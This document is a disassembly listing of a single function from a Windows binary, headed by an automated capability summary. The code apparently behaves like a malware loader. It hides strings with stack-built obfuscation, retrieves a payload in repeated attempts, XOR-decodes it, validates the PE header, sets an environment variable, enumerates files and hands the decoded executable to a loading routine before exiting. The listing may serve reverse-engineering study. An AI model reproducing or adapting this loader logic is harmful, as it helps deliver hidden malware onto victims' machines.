Function at 0x140005f9c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate files on windows
Get common file path
Parse pe header
Set environment variable
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xdb8]
sub rsp, 0xeb8
mov ecx, 0x2bf20
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14000351c
call fcn.140005e58
xor r14d, r14d
test eax, eax
jne 0x140006bdb
call fcn.140003200
mov r15d, 0x104
test eax, eax
jne 0x1400060d8
mov r8d, r15d
lea rdx, [rbp + 0x780]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400060d8
mov byte [rbp + 0x98], 0x34
lea rcx, [rbp + 0x98]
mov byte [rbp + 0x99], 0x71
mov byte [rbp + 0x9a], 0x3a
mov byte [rbp + 0x9b], 0x71
mov byte [rbp + 0x9c], 0x7e
mov byte [rbp + 0x9d], 0x71
mov byte [rbp + 0x9e], 0x63
mov byte [rbp + 0x9f], 0x71
mov byte [rbp + 0xa0], 0x60
mov byte [rbp + 0xa1], 0x71
mov byte [rbp + 0xa2], 0x39
mov byte [rbp + 0xa3], 0x71
mov byte [rbp + 0xa4], 0x67
mov byte [rbp + 0xa5], 0x71
mov byte [rbp + 0xa6], 0x6c
mov byte [rbp + 0xa7], 0x71
mov byte [rbp + 0xa8], 0x5a
mov byte [rbp + 0xa9], 0x71
mov byte [rbp + 0xaa], 0x55
mov byte [rbp + 0xab], 0x71
mov byte [rbp + 0xac], 0x70
mov byte [rbp + 0xad], 0x71
mov byte [rbp + 0xae], 0x67
mov byte [rbp + 0xaf], 0x71
mov byte [rbp + 0xb0], 0x71
mov byte [rbp + 0xb1], 0x71
mov al, byte [rbp + 0x98]
call fcn.140007038
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.1400023b0
mov qword [rbp + 0xe00], r14
lea rcx, [rsp + 0x40]
mov dword [rbp + 0xdf0], r14d
mov rbx, r14
mov byte [rsp + 0x40], 0x70
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 0x4b
mov byte [rsp + 0x43], 0x2d
mov byte [rsp + 0x44], 4
mov byte [rsp + 0x45], shutdown
mov byte [rsp + 0x46], 2
mov byte [rsp + 0x47], 2
mov byte [rsp + 0x48], 0x2f
mov byte [rsp + 0x49], 0x58
mov byte [rsp + 0x4a], 0x3a
mov byte [rsp + 0x4b], 0x20
mov byte [rsp + 0x4c], 0x3e
mov byte [rsp + 0x4d], 0x3a
mov byte [rsp + 0x4e], 6
mov byte [rsp + 0x4f], 0x4d
mov byte [rsp + 0x50], 0x3a
mov byte [rsp + 0x51], 0x58
mov byte [rsp + 0x52], 0x58
mov byte [rsp + 0x53], 0x2f
mov byte [rsp + 0x54], 2
mov byte [rsp + 0x55], 4
mov byte [rsp + 0x56], 0x70
mov byte [rsp + 0x57], 0x65
mov byte [rsp + 0x58], 0x2d
mov byte [rsp + 0x59], 2
mov byte [rsp + 0x5a], 6
mov byte [rsp + 0x5b], 0x67
mov byte [rsp + 0x5c], reloc.WS2_32.dll_recvfrom
mov byte [rsp + 0x5d], 0x2f
mov byte [rsp + 0x5e], 0x58
mov byte [rsp + 0x5f], 0x20
mov byte [rsp + 0x60], 0x2f
mov byte [rsp + 0x61], 0x58
mov byte [rsp + 0x62], 2
mov byte [rsp + 0x63], ntohs
mov byte [rsp + 0x64], 0x7b
mov byte [rsp + 0x65], 0x3c
mov byte [rsp + 0x66], 0x4b
mov byte [rsp + 0x67], 0x5e
mov al, byte [rsp + 0x40]
call fcn.140006fd8
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
test eax, eax
jne 0x140006978
mov qword [rbp + 0xe00], r14
lea rcx, [rbp + 0x68]
mov dword [rbp + 0xdf0], r14d
mov byte [rbp + 0x68], 0x49
mov byte [rbp + 0x69], 6
mov byte [rbp + 0x6a], 6
mov byte [rbp + 0x6b], 0x71
mov byte [rbp + 0x6c], 1
mov byte [rbp + 0x6d], 0x61
mov byte [rbp + 0x6e], 0x2a
mov byte [rbp + 0x6f], 0x2a
mov byte [rbp + 0x70], 0x48
mov byte [rbp + 0x71], 0x43
mov byte [rbp + 0x72], 0x25
mov byte [rbp + 0x73], 0x34
mov byte [rbp + 0x74], 0x5c
mov byte [rbp + 0x75], 0x34
mov byte [rbp + 0x76], 0x25
mov byte [rbp + 0x77], 0x34
mov byte [rbp + 0x78], 0x48
mov byte [rbp + 0x79], 0x43
mov byte [rbp + 0x7a], 0x25
mov byte [rbp + 0x7b], 0x43
mov byte [rbp + 0x7c], 0x39
mov byte [rbp + 0x7d], 0x2a
mov byte [rbp + 0x7e], 1
mov byte [rbp + 0x7f], 0x49
mov byte [rbp + 0x80], 0x6c
mov byte [rbp + 0x81], 0x71
mov byte [rbp + 0x82], 0x2a
mov byte [rbp + 0x83], 0x57
mov byte [rbp + 0x84], 0x43
mov byte [rbp + 0x85], 0x34
mov byte [rbp + 0x86], 0x48
mov byte [rbp + 0x87], 0x39
mov byte [rbp + 0x88], 0x3e
mov byte [rbp + 0x89], 0x48
mov byte [rbp + 0x8a], 0x39
mov byte [rbp + 0x8b], 0x2a
mov byte [rbp + 0x8c], 0x30
mov byte [rbp + 0x8d], 0x26
mov byte [rbp + 0x8e], 0x7b
mov byte [rbp + 0x8f], 6
mov byte [rbp + 0x90], 0x3d
mov al, byte [rbp + 0x68]
call fcn.140006f78
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
jne 0x140006957
mov qword [rbp + 0xe00], r14
lea rcx, [rbp - 0x68]
mov dword [rbp + 0xdf0], r14d
mov byte [rbp - 0x68], shutdown
mov byte [rbp - 0x67], 0x58
mov byte [rbp - 0x66], 0x58
mov byte [rbp - 0x65], 0x41
mov byte [rbp - 0x64], 0x72
mov byte [rbp - 0x63], 0x48
mov byte [rbp - 0x62], 0x68
mov byte [rbp - 0x61], 0x68
mov byte [rbp - 0x60], 0x7b
mov byte [rbp - 0x5f], 0x47
mov byte [rbp - 0x5e], 0x61
mov byte [rbp - 0x5d], 0x2d
mov byte [rbp - 0x5c], 0x5e
mov byte [rbp - 0x5b], 0x2a
mov byte [rbp - 0x5a], 0x61
mov byte [rbp - 0x59], 0x47
mov byte [rbp - 0x58], 0x2d
mov byte [rbp - 0x57], 0x2d
mov byte [rbp - 0x56], 0x5e
mov byte [rbp - 0x55], 0x5b
mov byte [rbp - 0x54], 3
mov byte [rbp - 0x53], 0x30
mov byte [rbp - 0x52], 0x4a
mov byte [rbp - 0x51], 0x3b
mov byte [rbp - 0x50], 0x4a
mov byte [rbp - 0x4f], ntohs
mov byte [rbp - 0x4e], 0x68
mov byte [rbp - 0x4d], 0x72
mov byte [rbp - 0x4c], shutdown
mov byte [rbp - 0x4b], 0x5b
mov byte [rbp - 0x4a], 0x41
mov byte [rbp - 0x49], 0x68
mov byte [rbp - 0x48], 0x7c
mov byte [rbp - 0x47], 0x65
mov byte [rbp - 0x46], 0x34
mov byte [rbp - 0x45], 0x4b
mov byte [rbp - 0x44], 0x1a
mov byte [rbp - 0x43], r14b
mov byte [rbp - 0x42], 0x4b
mov byte [rbp - 0x41], 0x1a
mov byte [rbp - 0x40], 0x68
mov byte [rbp - 0x3f], reloc.WS2_32.dll_shutdown
mov byte [rbp - 0x3e], 0x4a
mov byte [rbp - 0x3d], ntohs
mov byte [rbp - 0x3c], 0x58
mov byte [rbp - 0x3b], 0x38
mov al, byte [rbp - 0x68]
call fcn.140006f14
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
jne 0x140006957
mov qword [rbp + 0xe00], r14
lea rcx, [rbp - 0x38]
mov dword [rbp + 0xdf0], r14d
mov byte [rbp - 0x38], 0x1b
mov byte [rbp - 0x37], 0x41
mov byte [rbp - 0x36], 0x41
mov byte [rbp - 0x35], 0xa
mov byte [rbp - 0x34], 0x53
mov byte [rbp - 0x33], 0x5d
mov byte [rbp - 0x32], 0x25
mov byte [rbp - 0x31], 0x25
mov byte [rbp - 0x30], 8
mov byte [rbp - 0x2f], 0x75
mov byte [rbp - 0x2e], 0x3f
mov byte [rbp - 0x2d], 9
mov byte [rbp - 0x2c], 0x76
mov byte [rbp - 0x2b], 0x40
mov byte [rbp - 0x2a], 0x75
mov byte [rbp - 0x29], 0x75
mov byte [rbp - 0x28], 0x1b
mov byte [rbp - 0x27], 9
mov byte [rbp - 0x26], 0x76
mov byte [rbp - 0x25], 0xa
mov byte [rbp - 0x24], 0x37
mov byte [rbp - 0x23], 8
mov byte [rbp - 0x22], 0x1a
mov byte [rbp - 0x21], 0x54
mov byte [rbp - 0x20], 0x1a
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x25
mov byte [rbp - 0x1d], 0x53
mov byte [rbp - 0x1c], 0x1b
mov byte [rbp - 0x1b], 0x1c
mov byte [rbp - 0x1a], 0xa
mov byte [rbp - 0x19], 0x25
mov byte [rbp - 0x18], 2
mov byte [rbp - 0x17], 0x4a
mov byte [rbp - 0x16], 1
mov byte [rbp - 0x15], 0x38
mov byte [rbp - 0x14], 0x6e
mov byte [rbp - 0x13], 0x5c
mov byte [rbp - 0x12], 0x38
mov byte [rbp - 0x11], 0x6e
mov byte [rbp - 0x10], 0x25
mov byte [rbp - 0xf], 0x75
mov byte [rbp - 0xe], 0x1a
mov byte [rbp - 0xd], 0x65
mov byte [rbp - 0xc], 0x41
mov byte [rbp - 0xb], 0x79
mov al, byte [rbp - 0x38]
call fcn.140006eb4
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
jne 0x140006957
mov qword [rbp + 0xe00], r14
lea rcx, [rbp - 8]
mov dword [rbp + 0xdf0], r14d
mov byte [rbp - 8], 0x54
mov byte [rbp - 7], reloc.WS2_32.dll_sendto
mov byte [rbp - 6], reloc.WS2_32.dll_sendto
mov byte [rbp - 5], 0x7e
mov byte [rbp - 4], 0x6e
mov byte [rbp - 3], 0x21
mov byte [rbp - 2], 7
mov byte [rbp - 1], 7
mov byte [rbp], 0x1a
mov byte [rbp + 1], 0xa
mov byte [rbp + 2], 0x54
mov byte [rbp + 3], 0x2f
mov byte [rbp + 4], 0x1f
mov byte [rbp + 5], 0x69
mov byte [rbp + 6], 0x3f
mov byte [rbp + 7], 0xa
mov byte [rbp + 8], 0x1f
mov byte [rbp + 9], 0x2f
mov byte [rbp + 0xa], 0x1f
mov byte [rbp + 0xb], 0x59
mov byte [rbp + 0xc], 0x61
mov byte [rbp + 0xd], 0x74
mov byte [rbp + 0xe], 0x4f
mov byte [rbp + 0xf], 0x73
mov byte [rbp + 0x10], 0x4f
mov byte [rbp + 0x11], 0x49
mov byte [rbp + 0x12], 7
mov byte [rbp + 0x13], 0x6e
mov byte [rbp + 0x14], 0x54
mov byte [rbp + 0x15], 0x59
mov byte [rbp + 0x16], 0x7e
mov byte [rbp + 0x17], 7
mov byte [rbp + 0x18], 0x56
mov byte [rbp + 0x19], 0x41
mov byte [rbp + 0x1a], 0x51
mov byte [rbp + 0x1b], 0x66
mov byte [rbp + 0x1c], 0x76
mov byte [rbp + 0x1d], 0x1c
mov byte [rbp + 0x1e], 0x66
mov byte [rbp + 0x1f], 0x76
mov byte [rbp + 0x20], 7
mov byte [rbp + 0x21], 0x1a
mov byte [rbp + 0x22], 0x4f
mov byte [rbp + 0x23], 0x49
mov byte [rbp + 0x24], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x25], 0x2e
mov al, byte [rbp - 8]
call fcn.140006e50
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
jne 0x140006957
mov qword [rbp + 0xe00], r14
lea rcx, [rbp + 0x28]
mov dword [rbp + 0xdf0], r14d
mov byte [rbp + 0x28], 0x7e
mov byte [rbp + 0x29], 4
mov byte [rbp + 0x2a], 4
mov byte [rbp + 0x2b], 0x57
mov byte [rbp + 0x2c], 0x78
mov byte [rbp + 0x2d], 1
mov byte [rbp + 0x2e], 7
mov byte [rbp + 0x2f], 7
mov byte [rbp + 0x30], 0x5d
mov byte [rbp + 0x31], 0x68
mov byte [rbp + 0x32], 0x5d
mov byte [rbp + 0x33], 0x7e
mov byte [rbp + 0x34], 0xa
mov byte [rbp + 0x35], 0x2b
mov byte [rbp + 0x36], 0x68
mov byte [rbp + 0x37], 0x68
mov byte [rbp + 0x38], 0x73
mov byte [rbp + 0x39], 0x7e
mov byte [rbp + 0x3a], 0xa
mov byte [rbp + 0x3b], 0x4c
mov byte [rbp + 0x3c], 0x7b
mov byte [rbp + 0x3d], 0x3c
mov byte [rbp + 0x3e], 0x31
mov byte [rbp + 0x3f], 0x46
mov byte [rbp + 0x40], 0x31
mov byte [rbp + 0x41], 0x6d
mov byte [rbp + 0x42], 7
mov byte [rbp + 0x43], 0x78
mov byte [rbp + 0x44], 0x7e
mov byte [rbp + 0x45], 0x4c
mov byte [rbp + 0x46], 0x57
mov byte [rbp + 0x47], 7
mov byte [rbp + 0x48], 0x6a
mov byte [rbp + 0x49], 0x3e
mov byte [rbp + 0x4a], 0x1d
mov byte [rbp + 0x4b], 0x49
mov byte [rbp + 0x4c], 0x28
mov byte [rbp + 0x4d], 0x33
mov byte [rbp + 0x4e], 0x49
mov byte [rbp + 0x4f], 0x28
mov byte [rbp + 0x50], 7
mov byte [rbp + 0x51], 0x47
mov byte [rbp + 0x52], 0x31
mov byte [rbp + 0x53], 0x6d
mov byte [rbp + 0x54], 4
mov byte [rbp + 0x55], 0x7d
mov al, byte [rbp + 0x28]
call fcn.140006dec
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
jne 0x140006957
test rbx, rbx
jne 0x1400066d1
mov ecx, 0x870
call fcn.1400012c4
mov rbx, rax
test rax, rax
je 0x140006848
mov rsi, rbx
cmp byte [rbx], r14b
je 0x140006848
xor eax, eax
lea rdi, [rbp + 0xc8]
lea ecx, [rax + 0x14]
rep stosb byte [rdi], al
lea rdi, [rbp + 0xf0]
mov rcx, r15
rep stosb byte [rdi], al
mov byte [rbp + 0xb8], 0x5a
lea rcx, [rbp + 0xb8]
mov byte [rbp + 0xb9], 0x30
mov byte [rbp + 0xba], 7
mov byte [rbp + 0xbb], 0x6a
mov byte [rbp + 0xbc], 0x57
mov byte [rbp + 0xbd], 0x36
mov byte [rbp + 0xbe], 0x57
mov byte [rbp + 0xbf], 0x1d
mov byte [rbp + 0xc0], reloc.WS2_32.dll_shutdown
mov al, byte [rbp + 0xb8]
call fcn.140006d84
mov r8, rax
lea rcx, [rbp + 0xc8]
mov r9, rsi
mov edx, reloc.WS2_32.dll_sendto
call fcn.140001008
mov byte [rsp + 0x78], 3
lea rcx, [rsp + 0x78]
mov byte [rsp + 0x79], 0x75
mov byte [rsp + 0x7a], 0x75
mov byte [rsp + 0x7b], 0x4f
mov byte [rsp + 0x7c], 0x2c
mov byte [rsp + 0x7d], 0x4a
mov byte [rsp + 0x7e], 0x21
mov byte [rsp + 0x7f], 0x21
mov byte [rbp - 0x80], 0x41
mov byte [rbp - 0x7f], 0x2c
mov byte [rbp - 0x7e], 0x21
mov byte [rbp - 0x7d], 0x2c
mov byte [rbp - 0x7c], 3
mov byte [rbp - 0x7b], 6
mov byte [rbp - 0x7a], 0x4f
mov byte [rbp - 0x79], 0x21
mov byte [rbp - 0x78], 0x37
mov byte [rbp - 0x77], reloc.WS2_32.dll_recvfrom
mov byte [rbp - 0x76], 0x34
mov byte [rbp - 0x75], 0x5a
mov byte [rbp - 0x74], 0x7d
mov byte [rbp - 0x73], 0x47
mov byte [rbp - 0x72], 0x5a
mov byte [rbp - 0x71], 0x7d
mov byte [rbp - 0x70], 0x21
mov byte [rbp - 0x6f], shutdown
mov byte [rbp - 0x6e], r14b
mov byte [rbp - 0x6d], 0x62
mov byte [rbp - 0x6c], 0x75
mov byte [rbp - 0x6b], 0x1f
mov al, byte [rsp + 0x78]
call fcn.140006d1c
mov r8, rax
lea r9, [rbp + 0xc8]
mov rdx, r15
lea rcx, [rbp + 0xf0]
call fcn.140001008
lea r8, [rbp + 0xdf0]
mov qword [rbp + 0xe00], r14
lea rdx, [rbp + 0xe00]
mov dword [rbp + 0xdf0], r14d
lea rcx, [rbp + 0xf0]
call fcn.140005da4
test eax, eax
jne 0x140006848
jmp 0x140006837
inc rsi
cmp byte [rsi], r14b
jne 0x140006834
inc rsi
cmp byte [rsi], r14b
jne 0x1400066dd
mov ecx, 0x36ee80
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0xe00], r14
lea rcx, [rsp + 0x40]
mov dword [rbp + 0xdf0], r14d
mov byte [rsp + 0x40], 0x70
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 0x4b
mov byte [rsp + 0x43], 0x2d
mov byte [rsp + 0x44], 4
mov byte [rsp + 0x45], shutdown
mov byte [rsp + 0x46], 2
mov byte [rsp + 0x47], 2
mov byte [rsp + 0x48], 0x2f
mov byte [rsp + 0x49], 0x58
mov byte [rsp + 0x4a], 0x3a
mov byte [rsp + 0x4b], 0x20
mov byte [rsp + 0x4c], 0x3e
mov byte [rsp + 0x4d], 0x3a
mov byte [rsp + 0x4e], 6
mov byte [rsp + 0x4f], 0x4d
mov byte [rsp + 0x50], 0x3a
mov byte [rsp + 0x51], 0x58
mov byte [rsp + 0x52], 0x58
mov byte [rsp + 0x53], 0x2f
mov byte [rsp + 0x54], 2
mov byte [rsp + 0x55], 4
mov byte [rsp + 0x56], 0x70
mov byte [rsp + 0x57], 0x65
mov byte [rsp + 0x58], 0x2d
mov byte [rsp + 0x59], 2
mov byte [rsp + 0x5a], 6
mov byte [rsp + 0x5b], 0x67
mov byte [rsp + 0x5c], reloc.WS2_32.dll_recvfrom
mov byte [rsp + 0x5d], 0x2f
mov byte [rsp + 0x5e], 0x58
mov byte [rsp + 0x5f], 0x20
mov byte [rsp + 0x60], 0x2f
mov byte [rsp + 0x61], 0x58
mov byte [rsp + 0x62], 2
mov byte [rsp + 0x63], ntohs
mov byte [rsp + 0x64], 0x7b
mov byte [rsp + 0x65], 0x3c
mov byte [rsp + 0x66], 0x4b
mov byte [rsp + 0x67], 0x5e
mov al, byte [rsp + 0x40]
call fcn.140006fd8
mov rcx, rax
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0xe00]
call fcn.140005da4
mov edi, eax
test eax, eax
je 0x1400061dd
test rbx, rbx
je 0x140006970
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x140006bdb
mov edx, r15d
lea rcx, [rbp + 0x450]
call fcn.140001060
mov rcx, r14
mov rbx, qword [rbp + 0xe00]
cmp dword [rbp + 0xdf0], r14d
jbe 0x1400069bd
movsxd rdi, eax
xor edx, edx
mov rax, rcx
div rdi
mov al, byte [rbp + rdx + 0x450]
xor byte [rcx + rbx], al
inc rcx
mov eax, dword [rbp + 0xdf0]
cmp rcx, rax
jb 0x14000699d
mov eax, 0x5a4d
cmp ax, word [rbx]
jne 0x140006bc3
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140006bc3
mov r8d, r15d
lea rdx, [rbp + 0x560]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [rbp + 0xe08], 0x59
lea rcx, [rbp + 0xe08]
mov byte [rbp + 0xe09], 0x22
mov byte [rbp + 0xe0a], 0x4f
mov byte [rbp + 0xe0b], 0x45
mov byte [rbp + 0xe0c], 0x7c
mov byte [rbp + 0xe0d], 0x74
mov byte [rbp + 0xe0e], 0x44
mov al, byte [rbp + 0xe08]
call fcn.140006cb8
mov rcx, rax
lea rdx, [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor r9d, r9d
lea rax, [rbp + 0x990]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x25]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140006bc3
lea r8, [0x1400220c0]
mov dword [rsp + 0x68], 0x436294c8
lea rdx, [rbp + 0x990]
mov dword [rsp + 0x6c], 0x4979efb3
lea rcx, [rbp + 0xba0]
mov dword [rsp + 0x70], 0x9adcc462
mov dword [rsp + 0x74], 0x5cdda8f7
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor eax, eax
lea rdi, [rbp + 0x200]
mov ecx, 0x250
lea rdx, [rbp + 0x200]
rep stosb byte [rdi], al
lea rcx, [rbp + 0xba0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140006bc3
mov esi, recvfrom
test byte [rbp + 0x200], sil
jne 0x140006ba2
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x670]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x22c]
mov dword [rsp + 0x28], r15d
or r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
mov dword [rbp + 0xdf8], esi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea r9, [rbp + 0xdf8]
lea r8, [rbp + 0xe0]
lea rcx, [rbp + 0x670]
lea edx, [rax - 1]
call fcn.1400011ec
test eax, eax
je 0x140006ba2
mov r8, rsi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xe0]
call fcn.140001134
test eax, eax
jne 0x140006ba2
mov byte [rbp + 0x58], 0x55
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x59], 0x27
mov byte [rbp + 0x5a], 0x2c
mov byte [rbp + 0x5b], 0x62
mov byte [rbp + 0x5c], 0x39
mov byte [rbp + 0x5d], 0x5e
mov byte [rbp + 0x5e], 0x47
mov byte [rbp + 0x5f], 0x23
mov byte [rbp + 0x60], 0x60
mov byte [rbp + 0x61], 0x27
mov byte [rbp + 0x62], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x63], 0x27
mov byte [rbp + 0x64], 0x31
mov al, byte [rbp + 0x58]
call fcn.140006c58
mov rcx, rax
mov rdx, rbx
call fcn.140004ef0
lea rdx, [rbp + 0x200]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140006ad8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0xe00]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]